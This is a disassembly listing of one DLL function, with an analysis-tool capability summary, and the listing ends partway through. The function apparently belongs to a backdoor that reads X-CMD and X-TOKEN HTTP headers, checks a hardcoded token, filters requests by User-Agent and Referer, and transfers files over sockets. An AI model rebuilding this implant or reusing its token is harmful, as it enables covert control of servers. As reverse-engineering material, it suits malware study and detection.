Function at 0x180002b10
Capabilities:
Connect socket
Convert ip address from string
Download and write a file
Get file size
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Resolve function by parsing pe exports
Send data
Send data on socket
Set socket configuration
Write file on windows

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x34e0
call fcn.18001bcc0
sub rsp, rax
mov qword [rsp + 0x240], 0xfffffffffffffffe
mov qword [rsp + 0x3510], rbx
mov qword [rsp + 0x3520], rsi
mov rax, qword [0x180058090]
xor rax, rsp
mov qword [rsp + 0x34d0], rax
mov rbx, rdx
xor esi, esi
mov dword [rsp + 0x60], esi
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x20]
mov r14, rax
mov qword [rsp + 0x40], rax
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + 0x18]
mov rdi, rax
test rax, rax
je 0x180007f1f
test r14, r14
je 0x180007f1f
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x40]
mov rdx, rax
test rax, rax
je 0x180007f1f
mov eax, esi
lea r9, [0x18004de10]
nop dword [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r9 + rax - 1]
jne 0x180002bc9
cmp rax, 4
jne 0x180002bb0
cmp cl, byte [r9 + rax - 1]
mov r15d, esi
sete r15b
mov dword [rsp + 0xdb8], r15d
mov rax, rsi
lea r8, str.POST
mov r13d, 5
nop dword [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x180002c08
cmp rax, r13
jne 0x180002bf0
cmp cl, byte [r8 + rax - 1]
mov eax, esi
sete al
mov dword [rsp + 0x50], eax
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_CMD
mov rcx, rdi
call qword [rax + 0x18]
mov r12, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.X_TOKEN
mov rcx, rdi
call qword [r9 + 0x18]
mov rbx, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.HOST
mov rcx, rdi
call qword [r9 + 0x18]
mov rsi, rax
test rax, rax
je 0x180007f1f
xor eax, eax
mov qword [rsp + 0xce8], rax
mov qword [rsp + 0xcf0], 0xf
mov byte [rsp + 0xcd8], al
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rsi + r8], al
jne 0x180002c80
mov rdx, rsi
lea rcx, [rsp + 0xcd8]
call fcn.180001d00
nop
xor eax, eax
mov qword [rsp + 0x11b8], rax
mov qword [rsp + 0x11c0], 0xf
mov byte [rsp + 0x11a8], al
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rsi + r8], al
jne 0x180002cc0
mov rdx, rsi
lea rcx, [rsp + 0x11a8]
call fcn.180001d00
nop
lea rdx, [rsp + 0x11a8]
lea rcx, [rsp + 0xc98]
call fcn.180015990
nop
lea rcx, [rsp + 0x11a8]
call fcn.180001c80
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FORWARDED_HOST
mov rcx, rdi
call qword [rax + 0x18]
mov rsi, rax
test rax, rax
je 0x180002ed8
xor eax, eax
mov qword [rsp + 0x11d8], rax
mov qword [rsp + 0x11e0], 0xf
mov byte [rsp + 0x11c8], al
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rsi + r8], al
jne 0x180002d40
mov rdx, rsi
lea rcx, [rsp + 0x11c8]
call fcn.180001d00
nop
lea rdx, [rsp + 0x11c8]
lea rcx, [rsp + 0xfc8]
call fcn.180015990
mov r15, rax
lea rax, [rsp + 0xc98]
cmp rax, r15
je 0x180002dec
mov r8, qword [rsp + 0xcb0]
cmp r8, 8
jb 0x180002da5
inc r8
mov rdx, qword [rsp + 0xc98]
lea rcx, [rsp + 0xc98]
call fcn.18000a9c0
xor ecx, ecx
mov qword [rsp + 0xca8], rcx
mov qword [rsp + 0xcb0], 7
mov word [rsp + 0xc98], cx
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0xc98], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rsp + 0xca8], xmm1
mov qword [r15 + 0x10], rcx
mov qword [r15 + 0x18], 7
mov word [r15], cx
mov r8, qword [rsp + 0xfe0]
cmp r8, 8
jb 0x180002e12
inc r8
mov rdx, qword [rsp + 0xfc8]
lea rcx, [rsp + 0xfc8]
call fcn.18000a9c0
xor r15d, r15d
mov qword [rsp + 0xfd8], r15
mov qword [rsp + 0xfe0], 7
mov word [rsp + 0xfc8], r15w
lea rcx, [rsp + 0x11c8]
call fcn.180001c80
mov qword [rsp + 0xed8], r15
mov qword [rsp + 0xee0], 0xf
mov byte [rsp + 0xec8], r15b
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x180002e60
mov rdx, rsi
lea rcx, [rsp + 0xec8]
call fcn.180001d00
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
movups xmm0, xmmword [rsp + 0xec8]
movups xmmword [rsp + 0xcd8], xmm0
movups xmm1, xmmword [rsp + 0xed8]
movups xmmword [rsp + 0xce8], xmm1
mov qword [rsp + 0xed8], r15
mov qword [rsp + 0xee0], 0xf
mov byte [rsp + 0xec8], 0
lea rcx, [rsp + 0xec8]
call fcn.180001c80
mov r15d, dword [rsp + 0xdb8]
xor esi, esi
mov qword [rsp + 0xc88], rsi
mov qword [rsp + 0xc90], 7
mov word [rsp + 0xc78], si
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FORWARDED_FOR
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je 0x18000302d
mov qword [rsp + 0x11f8], rsi
mov qword [rsp + 0x1200], 0xf
mov byte [rsp + 0x11e8], sil
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180002f32
mov rdx, rax
lea rcx, [rsp + 0x11e8]
call fcn.180001d00
nop
lea rdx, [rsp + 0x11e8]
lea rcx, [rsp + 0xfe8]
call fcn.180015990
mov rsi, rax
lea rax, [rsp + 0xc78]
cmp rax, rsi
je 0x180002fdc
mov r8, qword [rsp + 0xc90]
cmp r8, 8
jb 0x180002f98
inc r8
mov rdx, qword [rsp + 0xc78]
lea rcx, [rsp + 0xc78]
call fcn.18000a9c0
xor ecx, ecx
mov qword [rsp + 0xc88], rcx
mov qword [rsp + 0xc90], 7
mov word [rsp + 0xc78], cx
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0xc78], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rsp + 0xc88], xmm1
mov qword [rsi + 0x10], rcx
mov qword [rsi + 0x18], 7
mov word [rsi], cx
mov r8, qword [rsp + 0x1000]
cmp r8, 8
jb 0x180003002
inc r8
mov rdx, qword [rsp + 0xfe8]
lea rcx, [rsp + 0xfe8]
call fcn.18000a9c0
xor eax, eax
mov qword [rsp + 0xff8], rax
mov qword [rsp + 0x1000], 7
mov word [rsp + 0xfe8], ax
lea rcx, [rsp + 0x11e8]
jmp 0x18000311d
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x78]
mov rdx, rax
lea rcx, [rsp + 0x1ae8]
call fcn.180012dd0
nop
mov rdx, rax
lea rcx, [rsp + 0x1008]
call fcn.180015990
mov rsi, rax
lea rax, [rsp + 0xc78]
cmp rax, rsi
je 0x1800030d1
mov r8, qword [rsp + 0xc90]
cmp r8, 8
jb 0x18000308d
inc r8
mov rdx, qword [rsp + 0xc78]
lea rcx, [rsp + 0xc78]
call fcn.18000a9c0
xor ecx, ecx
mov qword [rsp + 0xc88], rcx
mov qword [rsp + 0xc90], 7
mov word [rsp + 0xc78], cx
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0xc78], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rsp + 0xc88], xmm1
mov qword [rsi + 0x10], rcx
mov qword [rsi + 0x18], 7
mov word [rsi], cx
mov r8, qword [rsp + 0x1020]
cmp r8, 8
jb 0x1800030f7
inc r8
mov rdx, qword [rsp + 0x1008]
lea rcx, [rsp + 0x1008]
call fcn.18000a9c0
xor eax, eax
mov qword [rsp + 0x1018], rax
mov qword [rsp + 0x1020], 7
mov word [rsp + 0x1008], ax
lea rcx, [rsp + 0x1ae8]
call fcn.180001c80
xor eax, eax
mov esi, eax
test rbx, rbx
je 0x1800031c9
mov qword [rsp + 0x1218], rax
mov qword [rsp + 0x1220], 0xf
mov byte [rsp + 0x1208], al
lea r8d, [rax + 0x10]
lea rdx, str.tn7rM2851XVvOFbc
lea rcx, [rsp + 0x1208]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1208]
lea rcx, [rsp + 0x1888]
call fcn.180015800
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180003185
mov rdx, qword [rax]
sub rdx, rbx
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x1800031a2
inc rbx
test eax, eax
jne 0x180003190
xor eax, eax
mov esi, eax
test ecx, ecx
sete sil
lea rcx, [rsp + 0x1888]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1208]
call fcn.180001c80
xor eax, eax
test r12, r12
je 0x1800032a0
mov qword [rsp + 0x1238], rax
mov qword [rsp + 0x1240], 0xf
mov byte [rsp + 0x1228], 0
or r8, 0xffffffffffffffff
inc r8
cmp byte [r12 + r8], 0
jne 0x1800031f2
mov rdx, r12
lea rcx, [rsp + 0x1228]
call fcn.180001d00
mov dword [rsp + 0x60], 1
lea r8, [rsp + 0x1228]
lea rdx, [rsp + 0xdb8]
call fcn.18000d9f0
mov rax, qword [rsp + 0xdb8]
xor r8d, r8d
mov rcx, qword [rsp + 0xdc0]
cmp rax, rcx
je 0x1800032a0
inc r8
cmp byte [rax + 0x19], 0
jne 0x18000328e
mov rdx, qword [rax + 0x10]
cmp byte [rdx + 0x19], 0
jne 0x18000326e
mov rax, rdx
mov rdx, qword [rdx]
cmp byte [rdx + 0x19], 0
jne 0x18000328e
mov rax, rdx
mov rdx, qword [rdx]
cmp byte [rdx + 0x19], 0
je 0x180003260
jmp 0x18000328e
mov rdx, qword [rax + 8]
cmp byte [rdx + 0x19], 0
jne 0x18000328b
cmp rax, qword [rdx + 0x10]
jne 0x18000328b
mov rax, rdx
mov rdx, qword [rdx + 8]
cmp byte [rdx + 0x19], 0
je 0x180003278
mov rax, rdx
cmp rax, rcx
jne 0x180003241
test r8, r8
je 0x1800032a0
test esi, esi
je 0x1800032a0
xor bl, bl
jmp 0x1800032a2
mov bl, 1
mov eax, dword [rsp + 0x60]
test al, 1
je 0x1800032be
and eax, 0xfffffffe
mov dword [rsp + 0x60], eax
lea rcx, [rsp + 0x1228]
call fcn.180001c80
test bl, bl
je 0x180004e4b
test r15d, r15d
je 0x1800032d8
cmp byte [0x180058a18], 0
jne 0x180003363
mov r8, qword [rsp + 0xc90]
cmp r8, 8
jb 0x1800032fe
inc r8
mov rdx, qword [rsp + 0xc78]
lea rcx, [rsp + 0xc78]
call fcn.18000a9c0
xor ebx, ebx
mov word [rsp + 0xc78], bx
mov qword [rsp + 0xc90], 7
mov qword [rsp + 0xc88], rbx
mov r8, qword [rsp + 0xcb0]
cmp r8, 8
jb 0x180003342
inc r8
mov rdx, qword [rsp + 0xc98]
lea rcx, [rsp + 0xc98]
call fcn.18000a9c0
mov qword [rsp + 0xca8], rbx
mov qword [rsp + 0xcb0], 7
mov word [rsp + 0xc98], bx
jmp 0x180007f12
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rax + 0x58]
test rbx, rbx
je 0x1800032d8
xor ecx, ecx
call fcn.180020f3c
cmp rax, qword [0x18005aae0]
jle 0x1800033bd
xor ecx, ecx
call fcn.180020f3c
add rax, 0x3c
mov qword [0x18005aae0], rax
call fcn.180015ff0
call fcn.180016510
lea rcx, [0x18005aaa8]
call fcn.180009240
lea rcx, [0x18005aac0]
call fcn.180009240
xor eax, eax
mov qword [rsp + 0xd68], rax
mov qword [rsp + 0xd70], 7
mov word [rsp + 0xd58], ax
or r8, 0xffffffffffffffff
nop
inc r8
cmp word [rbx + r8*2], ax
jne 0x1800033e0
mov rdx, rbx
lea rcx, [rsp + 0xd58]
call fcn.180009fd0
nop
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.User_Agent
mov rcx, rdi
call qword [rax + 0x18]
mov r13, rax
test rax, rax
je 0x180004e43
xor r12b, r12b
xor sil, sil
xor r15b, r15b
xor ebx, ebx
mov qword [rsp + 0xe08], rbx
mov qword [rsp + 0xe10], 0xf
mov byte [rsp + 0xdf8], bl
or r8, 0xffffffffffffffff
inc r8
cmp byte [r8 + rax], bl
jne 0x180003444
mov rdx, r13
lea rcx, [rsp + 0xdf8]
call fcn.180001d00
nop
mov qword [rsp + 0xde8], rbx
mov qword [rsp + 0xdf0], 0xf
mov byte [rsp + 0xdd8], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xdf8]
lea rcx, [rsp + 0xdd8]
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xe08]
test r8, r8
je 0x1800036fb
lea r12, [rsp + 0xdd8]
cmp qword [rsp + 0xdf0], 0x10
cmovae r12, qword [rsp + 0xdd8]
mov qword [rsp + 0x238], r12
lea rax, [rsp + 0xdf8]
cmp qword [rsp + 0xe10], 0x10
cmovae rax, qword [rsp + 0xdf8]
add rax, r8
mov qword [rsp + 0x230], rax
lea rsi, [rsp + 0xdf8]
cmp qword [rsp + 0xe10], 0x10
cmovae rsi, qword [rsp + 0xdf8]
mov qword [rsp + 0x228], rsi
mov r15, rax
sub r15, rsi
cmp rsi, rax
cmova r15, rbx
test r15, r15
je 0x180003538
movsx ecx, byte [rbx + rsi]
call fcn.18002110c
mov byte [rbx + r12], al
inc rbx
cmp rbx, r15
jne 0x180003523
mov rax, qword [0x18005aaf8]
mov rbx, qword [rax]
mov qword [rsp + 0x110], rax
cmp rbx, rax
je 0x180003615
nop dword [rax]
nop word [rax + rax]
lea r9, [rbx + 0x20]
lea rax, [r9 + 0x10]
cmp qword [r9 + 0x18], 0x10
jb 0x180003572
mov r9, qword [r9]
lea rcx, [rsp + 0xdd8]
cmp qword [rsp + 0xdf0], 0x10
cmovae rcx, qword [rsp + 0xdd8]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0xde8]
call fcn.18000d910
cmp rax, 0xffffffffffffffff
jne 0x180003610
cmp byte [rbx + 0x19], 0
jne 0x1800035f6
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x1800035d1
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x1800035f6
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1800035c3
jmp 0x1800035f6
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x1800035f3
nop dword [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x1800035f3
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x1800035e0
mov rbx, rax
mov rax, qword [0x18005aaf8]
mov qword [rsp + 0x110], rax
cmp rbx, rax
jne 0x180003560
jmp 0x180003615
mov r12b, 1
jmp 0x180003618
xor r12b, r12b
mov rax, qword [0x18005ab08]
mov rbx, qword [rax]
mov qword [rsp + 0x118], rax
cmp rbx, rax
je 0x1800036f5
nop dword [rax]
nop word [rax + rax]
lea r9, [rbx + 0x20]
lea rax, [r9 + 0x10]
cmp qword [r9 + 0x18], 0x10
jb 0x180003652
mov r9, qword [r9]
lea rcx, [rsp + 0xdd8]
cmp qword [rsp + 0xdf0], 0x10
cmovae rcx, qword [rsp + 0xdd8]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0xde8]
call fcn.18000d910
cmp rax, 0xffffffffffffffff
jne 0x1800036f0
cmp byte [rbx + 0x19], 0
jne 0x1800036d6
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x1800036b1
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x1800036d6
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1800036a3
jmp 0x1800036d6
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x1800036d3
nop dword [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x1800036d3
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x1800036c0
mov rbx, rax
mov rax, qword [0x18005ab08]
mov qword [rsp + 0x118], rax
cmp rbx, rax
jne 0x180003640
jmp 0x1800036f5
mov sil, 1
jmp 0x1800036f8
xor sil, sil
xor r15b, r15b
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.Referer
mov rcx, rdi
call qword [rax + 0x18]
mov rbx, rax
xor edi, edi
mov qword [rsp + 0xd08], rdi
mov r8d, 7
mov qword [rsp + 0xd10], r8
mov word [rsp + 0xcf8], di
test rax, rax
je 0x180003997
mov qword [rsp + 0x1258], rdi
mov qword [rsp + 0x1260], 0xf
mov byte [rsp + 0x1248], dil
or r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180003760
mov rdx, rbx
lea rcx, [rsp + 0x1248]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1248]
lea rcx, [rsp + 0x1028]
call fcn.180015990
mov rdi, rax
lea rax, [rsp + 0xcf8]
cmp rax, rdi
je 0x18000380a
mov r8, qword [rsp + 0xd10]
cmp r8, 8
jb 0x1800037c6
inc r8
mov rdx, qword [rsp + 0xcf8]
lea rcx, [rsp + 0xcf8]
call fcn.18000a9c0
xor ecx, ecx
mov qword [rsp + 0xd08], rcx
mov qword [rsp + 0xd10], 7
mov word [rsp + 0xcf8], cx
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0xcf8], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0xd08], xmm1
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], 7
mov word [rdi], cx
mov r8, qword [rsp + 0x1040]
cmp r8, 8
jb 0x180003830
inc r8
mov rdx, qword [rsp + 0x1028]
lea rcx, [rsp + 0x1028]
call fcn.18000a9c0
xor edi, edi
mov qword [rsp + 0x1038], rdi
mov qword [rsp + 0x1040], 7
mov word [rsp + 0x1028], di
lea rcx, [rsp + 0x1248]
call fcn.180001c80
mov qword [rsp + 0xef8], rdi
mov qword [rsp + 0xf00], 0xf
mov byte [rsp + 0xee8], dil
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x180003880
mov rdx, rbx
lea rcx, [rsp + 0xee8]
call fcn.180001d00
mov rdx, qword [rsp + 0xef8]
test rdx, rdx
je 0x180003982
mov rax, qword [0x18005ab18]
mov rbx, qword [rax]
mov qword [rsp + 0x120], rax
cmp rbx, rax
je 0x180003982
nop word [rax + rax]
lea r9, [rbx + 0x20]
lea rax, [r9 + 0x10]
cmp qword [r9 + 0x18], 0x10
jb 0x1800038e2
mov r9, qword [r9]
lea rcx, [rsp + 0xee8]
cmp qword [rsp + 0xf00], 0x10
cmovae rcx, qword [rsp + 0xee8]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
call fcn.18000d910
cmp rax, 0xffffffffffffffff
jne 0x18000397f
cmp byte [rbx + 0x19], 0
jne 0x18000395e
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x18000393e
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x18000395e
nop dword [rax + rax]
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x180003930
jmp 0x18000395e
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x18000395b
cmp rbx, qword [rax + 0x10]
jne 0x18000395b
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180003948
mov rbx, rax
mov rax, qword [0x18005ab18]
mov qword [rsp + 0x120], rax
cmp rbx, rax
je 0x180003982
mov rdx, qword [rsp + 0xef8]
jmp 0x1800038d0
mov r15b, 1
lea rcx, [rsp + 0xee8]
call fcn.180001c80
mov r8, qword [rsp + 0xd10]
test r12b, r12b
jne 0x1800039ae
test sil, sil
je 0x180004e3b
test r15b, r15b
je 0x180004e3b
mov qword [rsp + 0x1278], rdi
mov qword [rsp + 0x1280], 0xf
mov byte [rsp + 0x1268], 0
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r8 + r13], 0
jne 0x1800039d0
mov rdx, r13
lea rcx, [rsp + 0x1268]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1268]
lea rcx, [rsp + 0xd98]
call fcn.180015990
nop
lea rcx, [rsp + 0x1268]
call fcn.180001c80
lea rdx, [rsp + 0x70]
call fcn.1800092a0
nop
mov rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
xor r13d, r13d
cmp rbx, r15
je 0x180004da0
nop
mov qword [rsp + 0xd48], r13
mov qword [rsp + 0xd50], 7
mov word [rsp + 0xd38], r13w
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rbx
lea rcx, [rsp + 0xd38]
call fcn.18000aa30
nop
mov qword [rsp + 0xd88], r13
mov qword [rsp + 0xd90], 7
mov word [rsp + 0xd78], r13w
lea rdx, [rbx + 0x20]
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rcx, [rsp + 0xd78]
call fcn.18000aa30
nop
lea r9, [rsp + 0xd38]
mov rsi, qword [rsp + 0xd38]
mov rdi, qword [rsp + 0xd50]
cmp rdi, 8
cmovae r9, rsi
lea rcx, [rsp + 0xd58]
cmp qword [rsp + 0xd70], 8
cmovae rcx, qword [rsp + 0xd58]
mov rax, qword [rsp + 0xd48]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rsp + 0xd68]
call fcn.18000d830
test rax, rax
je 0x180003ba1
mov r8, qword [rsp + 0xd90]
cmp r8, 8
jb 0x180003b31
inc r8
mov rdx, qword [rsp + 0xd78]
lea rcx, [rsp + 0xd78]
call fcn.18000a9c0
mov rdi, qword [rsp + 0xd50]
mov rsi, qword [rsp + 0xd38]
mov qword [rsp + 0xd88], r13
mov qword [rsp + 0xd90], 7
mov word [rsp + 0xd78], r13w
cmp rdi, 8
jb 0x180003b68
lea r8, [rdi + 1]
mov rdx, rsi
lea rcx, [rsp + 0xd38]
call fcn.18000a9c0
mov qword [rsp + 0xd48], r13
mov qword [rsp + 0xd50], 7
mov word [rsp + 0xd38], r13w
add rbx, 0x40
cmp rbx, r15
jne 0x180003a30
mov r15, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
jmp 0x180004da0
lea rdx, [rsp + 0xc98]
test r12b, r12b
je 0x180003c63
lea rcx, [0x18005aaa8]
call fcn.180009190
lea rsi, [0x18005aab8]
mov qword [rsp + 0x40], rsi
mov rcx, rsi
test al, al
je 0x180003c36
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xc98]
lea rdx, [rsp + 0x50]
lea rcx, [0x18005aaa8]
call fcn.18000e400
mov rdi, qword [rsp + 0x50]
mov rcx, rsi
call fcn.180019960
mov qword [rsp + 0x40], rsi
mov rcx, rsi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xc98]
lea rdx, [rsp + 0x50]
lea rcx, [0x18005aaa8]
call fcn.18000e400
mov rbx, qword [rsp + 0x50]
jmp 0x180003ce2
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xc98]
lea rdx, [rsp + 0x50]
lea rcx, [0x18005aaa8]
call fcn.18000e400
mov rbx, qword [rsp + 0x50]
jmp 0x180003d1c
lea rcx, [0x18005aac0]
call fcn.180009190
lea rsi, [0x18005aad0]
mov qword [rsp + 0x40], rsi
mov rcx, rsi
test al, al
je 0x180003cf4
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xc98]
lea rdx, [rsp + 0x50]
lea rcx, [0x18005aac0]
call fcn.18000e400
mov rdi, qword [rsp + 0x50]
mov rcx, rsi
call fcn.180019960
mov qword [rsp + 0x40], rsi
mov rcx, rsi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xc98]
lea rdx, [rsp + 0x50]
lea rcx, [0x18005aac0]
call fcn.18000e400
mov rbx, qword [rsp + 0x50]
mov rcx, rsi
call fcn.180019960
mov eax, dword [rdi + 0x40]
inc eax
mov dword [rbx + 0x40], eax
jmp 0x180003d2b
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xc98]
lea rdx, [rsp + 0x50]
lea rcx, [0x18005aac0]
call fcn.18000e400
mov rbx, qword [rsp + 0x50]
mov rcx, rsi
call fcn.180019960
mov dword [rbx + 0x40], 1
mov qword [rsp + 0xd28], r13
mov qword [rsp + 0xd30], 0xf
mov byte [rsp + 0xd18], 0
cmp dword [0x18005aa08], 0
jle 0x180004512
xor ecx, ecx
call fcn.180020f3c
cmp rax, qword [0x18005aad8]
jle 0x180003ffa
xor ecx, ecx
call fcn.180020f3c
movsxd rcx, dword [0x18005aa08]
add rcx, rax
mov qword [0x18005aad8], rcx
call fcn.1800090c0
lea r8, [rsp + 0xd58]
lea rdx, [rsp + 0xd78]
lea rcx, [rsp + 0x1048]
call fcn.18000d270
nop
mov dword [rsp + 0x30], 3
lea rcx, [rsp + 0xcf8]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0xc78]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xc98]
lea r8, [rsp + 0xd98]
mov rdx, rax
lea rcx, [rsp + 0x18a8]
call fcn.180011c30
mov rbx, rax
lea rax, [rsp + 0xd18]
cmp rax, rbx
je 0x180003e28
lea rcx, [rsp + 0xd18]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0xd18], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xd28], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], 0
lea rcx, [rsp + 0x18a8]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x1060]
cmp r8, 8
jb 0x180003e5c
inc r8
mov rdx, qword [rsp + 0x1048]
lea rcx, [rsp + 0x1048]
call fcn.18000a9c0
mov qword [rsp + 0x1058], r13
mov qword [rsp + 0x1060], 7
mov word [rsp + 0x1048], r13w
cmp qword [rsp + 0xd28], 0
je 0x1800047c3
test r12b, r12b
je 0x180003f24
lea r8, [rsp + 0xd38]
lea rdx, [rsp + 0xc98]
lea rcx, [rsp + 0x1068]
call fcn.18000d270
nop
mov rdx, rax
call fcn.180009130
lea rcx, [rsp + 0xd18]
cmp rax, rcx
je 0x180003edc
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xd18]
mov rcx, rax
call fcn.180001fd0
nop
mov r8, qword [rsp + 0x1080]
cmp r8, 8
jb 0x180003f02
inc r8
mov rdx, qword [rsp + 0x1068]
lea rcx, [rsp + 0x1068]
call fcn.18000a9c0
mov qword [rsp + 0x1078], r13
mov qword [rsp + 0x1080], 7
mov word [rsp + 0x1068], r13w
jmp 0x1800047b2
mov qword [rsp + 0xe48], r13
mov qword [rsp + 0xe50], 7
mov word [rsp + 0xe38], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0xe38]
call fcn.180009fd0
nop
lea rbx, [0x18005aaa0]
mov qword [rsp + 0x40], rbx
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea rdx, [rsp + 0xe38]
call fcn.180009c10
mov rdi, rax
mov rcx, rbx
call fcn.180019960
lea rax, [rsp + 0xd18]
cmp rdi, rax
je 0x180003fb2
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xd18]
mov rcx, rdi
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xe50]
cmp r8, 8
jb 0x180003fd8
inc r8
mov rdx, qword [rsp + 0xe38]
lea rcx, [rsp + 0xe38]
call fcn.18000a9c0
mov qword [rsp + 0xe48], r13
mov qword [rsp + 0xe50], 7
mov word [rsp + 0xe38], r13w
jmp 0x1800047b2
test r12b, r12b
je 0x180004033
lea r8, [rsp + 0xd38]
lea rdx, [rsp + 0xc98]
lea rcx, [rsp + 0x1088]
call fcn.18000d270
mov edi, dword [rsp + 0x60]
or edi, 2
mov rdx, rax
call fcn.180009010
test al, al
je 0x180004037
mov bl, 1
jmp 0x180004039
mov edi, dword [rsp + 0x60]
xor bl, bl
test dil, 2
je 0x180004085
and edi, 0xfffffffd
mov r8, qword [rsp + 0x10a0]
cmp r8, 8
jb 0x180004068
inc r8
mov rdx, qword [rsp + 0x1088]
lea rcx, [rsp + 0x1088]
call fcn.18000a9c0
mov qword [rsp + 0x1098], r13
mov qword [rsp + 0x10a0], 7
mov word [rsp + 0x1088], r13w
test bl, bl
je 0x180004120
lea r8, [rsp + 0xd38]
lea rdx, [rsp + 0xc98]
lea rcx, [rsp + 0x10a8]
call fcn.18000d270
nop
mov rdx, rax
call fcn.180009130
lea rcx, [rsp + 0xd18]
cmp rcx, rax
je 0x1800040d8
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
